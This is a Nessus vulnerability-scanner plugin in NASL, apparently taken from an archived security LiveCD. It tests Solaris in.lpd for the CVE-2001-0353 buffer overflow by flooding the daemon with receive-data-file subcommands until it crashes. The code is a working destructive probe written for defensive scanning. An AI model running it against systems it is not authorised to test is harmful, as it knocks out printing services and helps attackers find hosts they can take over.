home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / lpd_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  4KB  |  184 lines

  1. #
  2. # This script was written by Renaud Deraison
  3. #
  4. # See the Nessus Scripts License for details
  5. #
  6. # This plugin was realized thanks to the help
  7. # of the french "eXperts" working group - http://experts.securite.org
  8. #
  9.  
  10. if(description)
  11. {
  12.    script_id(10727);
  13.    script_bugtraq_id(2894);
  14.  script_version ("$Revision: 1.20 $");
  15.    script_cve_id("CVE-2001-0353");
  16.    name["english"] = "Buffer overflow in Solaris in.lpd";
  17.   
  18.    script_name(english:name["english"]);
  19.  
  20.    desc["english"] = "
  21. The remote lpd daemon seems to be vulnerable to a
  22. buffer overflow when sent too many 'Receive data file'
  23. commands.
  24. An attacker may use this flaw to gain root on this host.
  25.  
  26. Solution : if the remote host is running Solaris, apply
  27. the relevant patch from Sun. If not, report this problem to
  28. renaud@nessus.org as it may be a false positive
  29.  
  30. Risk factor : High
  31.  
  32. See also : http://www.securityfocus.com/bid/2894";
  33.  
  34.  
  35.    script_description(english:desc["english"]);
  36.  
  37.    summary["english"] = "Crashes the remote lpd";
  38.    script_summary(english:summary["english"]);
  39.  
  40.    script_category(ACT_DESTRUCTIVE_ATTACK);
  41.  
  42.    script_copyright(english:"This script is Copyright (C) 2001 Renaud Deraison");
  43.    script_family(english:"Gain root remotely");
  44.    script_require_ports("Services/lpd", 515);
  45.    script_dependencies("find_service.nes");
  46.  
  47.    exit(0);
  48. }
  49.  
  50.  
  51.  
  52. #
  53. # The code starts here
  54. #
  55.  
  56. port = get_kb_item("Services/lpd");
  57. if(!port)port = 515;
  58.  
  59.  
  60. timestamp = rand();
  61.  
  62.  
  63. #
  64. # LPRng is not vulnerable to this flaw
  65. function is_lprng()
  66. {
  67.  soc = open_priv_sock_tcp(dport:port);
  68.  if(!soc)
  69.   exit(0);
  70.  req = raw_string(9)+ string("lp") + raw_string(0x0A);
  71.  send(socket:soc, data:req);
  72.  r = recv(socket:soc, length:4096);
  73.  close(soc);
  74.  if("SPOOLCONTROL" >< r)return(1);
  75.  return(0);
  76. }
  77.  
  78. function printer_present(name)
  79. {
  80.  soc = open_priv_sock_tcp(dport:port);
  81.  if(!soc)
  82.   return(0);
  83.  req = raw_string(0x04,name, 0x0A);
  84.  send(socket:soc, data:req); 
  85.  r = recv(socket:soc, length:4096);
  86.  if(egrep(pattern:"Your host does not have .*access", string:r))return(0);
  87.  close(soc);
  88.  if(strlen(r) > 1) 
  89.   return(1);
  90.  return(0);
  91. }
  92.  
  93.  
  94. #
  95. # More default names should be added here
  96. #
  97. function find_printer()
  98. {
  99.  if(printer_present(name:"NESSUS:CHECK"))return("NESSUS:CHECK");
  100.  return(0);
  101. }
  102.  
  103. function subcommand(num)
  104. {
  105.  if(num < 10)pad = "0";
  106.  else pad = "";
  107.  return(raw_string(0x03) +"0 " + string("dfA0", pad, num, "nessus_test_",timestamp) + raw_string(0x0A));
  108. }
  109.  
  110. function ack()
  111. {
  112.  return(raw_string(0x00));
  113. }
  114.  
  115.  
  116. function abort()
  117. {
  118.  return(raw_string(0x01, 0x0A));
  119. }
  120.  
  121.  
  122. if(!get_port_state(port))exit(0);
  123.  
  124. if(is_lprng())
  125. {
  126.  exit(0);
  127. }
  128.  
  129. printer = find_printer();
  130. if(!printer)
  131. {
  132.  #display("No printer found\n");
  133.  exit(0);
  134. }
  135.  
  136. soc = open_priv_sock_tcp(dport:port);
  137. if(soc)
  138. {
  139.  req = raw_string(0x02, printer, 0x0A);
  140.  send(socket:soc, data:req);
  141.  r = recv(socket:soc, length:1);
  142.  if(r){
  143.     exit(0);
  144.     }
  145.  flag = 0;
  146.  for(i=0;i<400;i=i+1)
  147.  {
  148.  send(socket:soc, data:subcommand(num:i));
  149.  send(socket:soc, data:ack(num:i));
  150.  r = recv(socket:soc, length:2);
  151.  if(flag)
  152.  {
  153.   if(!strlen(r)){
  154.     if(i <     100)exit(0);
  155.     }
  156.  }
  157.  
  158.  
  159.  if(strlen(r)){
  160.     flag = 1;
  161.     #display(hex(r[0]), hex(r[1]), "\n");
  162.     if(!(r == raw_string(0,0)))
  163.     {
  164.     #display("Abort\n");
  165.     send(socket:soc, data:abort());
  166.     r = recv(socket:soc, length:1);
  167.     exit(0);
  168.     }
  169.       }
  170.  }
  171.  send(socket:soc, data:subcommand(num:i));
  172.  send(socket:soc, data:ack(num:i));
  173.  sleep(1);
  174.  r = recv(socket:soc, length:4096);
  175.  if(!r)security_hole(port);
  176.  else
  177.  {
  178.  send(socket:soc, data:abort());
  179.  r = recv(socket:soc, length:1);
  180.  close(soc);
  181.  }
  182. }
  183.